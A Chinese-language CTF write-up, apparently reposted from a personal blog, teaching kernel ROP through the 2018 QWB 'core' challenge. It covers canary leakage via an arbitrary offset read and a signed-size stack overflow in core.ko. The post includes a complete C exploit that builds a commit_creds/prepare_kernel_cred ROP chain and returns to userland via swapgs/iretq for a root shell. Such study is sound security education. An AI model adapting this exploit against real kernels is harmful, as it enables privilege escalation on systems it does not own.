ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Kernel pwn 基础教学之 Kernel ROP

2022-06-06 18:03:25  阅读:278  来源: 互联网

标签:Kernel core ++ ROP user rop pwn kernel size


前言

Kernel ROP本质上还是构造ropchain来控制程序流程完成提权,不过相较于用户态来说还是有了一些变化,这里选取的例题是2018年强网杯的赛题core,本来觉得学起来会很快的但是没想到还是踩了不少坑。

一、题目分析

本题目环境开始kaslr保护,也就意味着我们需要泄露内存地址,从解压cpio文件后从init文件中分析出以下关键信息

cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict

这表示着我们虽然不能从/proc/kallsyms中读内存地址,但是/proc/kallsyms中的地址信息已经导入了/tmp/kallsyms中,所以我们只需要读取/tmp/kallsyms中的内存地址信息就可以 然后本题insmod的模块名是core.ko,也就是我们需要分析的二进制文件。开启Canary、NX保护,如果要构造ropchain的话需要泄露Canary

3c7bf34004b9eaff4d69a940c564f087.png

1、core_ioctl

1302ee94bc445c4e5c306a34228025f4.png

在core_ioctl中定义了三种功能,根据我们传参的不同来执行不同的功能:

0x6677889B:执行core_read函数
0x6677889C:对全局变量off赋值
0x6677889A:执行core_copy_func函数

2、core_read

f049aee71405d2215d32b942abe5b1d7.png

关键点在copy_to_user上,因为在core_ioctl中我们可以直接对全局变量off赋值,所以我们可以利用这个任意偏移信息泄露把Canary的值泄露出来,观察变量str距离rbp偏移为0x50,而canary距离rbp为0x10,故确定off的值应为0x40即可泄露Canary。

3、core_write

ae33bb3ea83311d2b109d55d095df70d.png

这可以将用户态构造好的ropchain通过core_write赋值到内核态的全局变量name中。

4、core_copy_func

186da7b3baacfb41056b5fdfe37db6f5.png

可以看到这里的参数size在判断大小时是按照int64标准来的,但是在进行copy的时候确实按照无符号整数标准来进行的,这里就造成了内核栈的溢出,结合前面的core_write函数我们可以对全局变量name赋值为用户态的ropchain,那么通过core_copy_func函数即可将ropchain放入内核栈中并造成栈溢出,进而达成控制程序流程提权的目的。

二、漏洞利用

这里先说一下kernel rop相较于用户态rop的不同点吧。在用户态中我们的目的是为了获得shell,也就是令程序执行诸如system("/bin/sh")一类的函数,然而到了kernel pwn中我们的目的从原先的getshell变成了提权,也就是执行commit_creds(prepare_kernel_cred(0)) 函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行system("/bin/sh")获取root权限的shell才可以,所以在我看来kernel rop变得无非就是两步:执行提权函数,返回用户态获取rootshell。从内核态返回用户态所需要用到的swapgs指令与iretq指令,前者是在从用户态进入内核态时,通过交换IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq指令则用来恢复用户态的cs、ss、rsp、rip、rflags的信息。其具体布局如下所示:

+-----------+
|    RIP    |
+-----------+
|    CS     |
+-----------+
|   rflags  |
+-----------+
|    RSP    |
+-----------+
|    SS     |
+-----------+

这里再说一下自己踩到的一个坑吧,也是脑子当时没有转过来弯。在计算内核gadget地址的时候我们使用ropper得到的gadget地址需要加上offset才是真实地址,这个和用户态的一样很好理解,而这个offset的获取办法我在这里简单说一下

ffbfec0ea725daf34b32c58c03b67970.png

通过这种方式我们可以通过从/tmp/kallsyms中得到的commit_creds函数的真实地址减去0x9c8e0就可以得到vmlinux_base的地址,而刚才所说的offset就是vmlinux_base减去raw_vmlinux_base,即0xffffffff81000000的值。好了来整理一下我们的利用思路吧:1、通过/tmp/kallsyms文件获得commit_creds函数与prepare_kernel_cred函数地址,并计算出所需gadget地址。2、对全局变量off赋值0x40,通过core_read函数获得canary的值。3、构建好ropchain,使用core_write函数将ropchain复制到内核态中 4、通过core_copy_func函数中的数值溢出造成的栈溢出漏洞,将ropchain放入栈中,退出函数时完成提权并返回用户态getrootshell。

EXP:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
 
#define CORE_READ 0x6677889B
#define CORE_OFF 0x6677889C
#define CORE_COPY 0x6677889A
 
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
 
int GetAddress() {
 char *ptr;
 char buf[0x30] = {0};
 FILE* fd = fopen("/tmp/kallsyms","r");
 
 if (!fd) {
  puts("[-] ERROR.");
  return 0;
 }
 
 while(fgets(buf, sizeof(buf), fd)) {
  if (commit_creds && prepare_kernel_cred){
   printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
   return 1;
  }
 
  if (strstr(buf, "commit_creds")) {
   commit_creds = strtoull(buf, ptr, 16);
  }
  if (strstr(buf, "prepare_kernel_cred")) {
   prepare_kernel_cred = strtoull(buf, ptr, 16);
  }
 
 }
 
 return 0;
}
 
void SaveStatus() {
 __asm__(
  "mov user_cs, cs;"
  "mov user_ss, ss;"
  "mov user_sp, rsp;"
  "pushf;"
  "pop user_rflags;"
 );
}
 
void GetShell() {
 if (!getuid()) {
  system("/bin/sh");
 }
 else {
  puts("[-] CAN NOT GETSHELL.");
  exit(1);
 }
}
 
void main() {
 size_t rop[0x100];
 char user_buf[0x40] = {0};
 char* ptr;
 int i = 8;
 
 SaveStatus();
 GetAddress();
 vmlinux_base = commit_creds - 0x9c8e0;
 size_t offset = vmlinux_base - raw_vmlinux_base;
 size_t pop_rdi = 0xffffffff81679ba8 + offset;
 size_t pop_rdx = 0xffffffff810a0f49 + offset;
 size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
 size_t swapgs = 0xffffffff81a012da + offset;  // swapgs; popfq; ret;
 size_t iretq = 0xffffffff81050ac2 + offset;   // iretq; ret;
 
 int fd = open("/proc/core", 2);
 
 if (!fd) {
  puts("[-] OPEN /proc/core ERROR.");
  exit(0);
 }
 
 
 ioctl(fd, CORE_OFF, 0x40);
 ioctl(fd, 0x6677889B, user_buf); //canary in buf.
 size_t canary = ((size_t*)user_buf)[0];
 printf("[+] Find canary: 0x%llx\n", canary);
 
 //commit_creads(prepare_kernel_cred(0));
 rop[i++] = canary;
 rop[i++] = 0;
 rop[i++] = pop_rdi;
 rop[i++] = 0;
 rop[i++] = prepare_kernel_cred;
 rop[i++] = pop_rdx;
 rop[i++] = commit_creds;
 rop[i++] = mov_rdi_rax;
 //swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
 rop[i++] = swapgs;
 rop[i++] = 0;
 rop[i++] = iretq;
 rop[i++] = (size_t)GetShell;
 rop[i++] = user_cs;
 rop[i++] = user_rflags;
 rop[i++] = user_sp;
 rop[i++] = user_ss;
 
 write(fd, rop, sizeof(rop));
    ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
}

 

标签:Kernel,core,++,ROP,user,rop,pwn,kernel,size
来源: https://www.cnblogs.com/Amalll/p/16349126.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有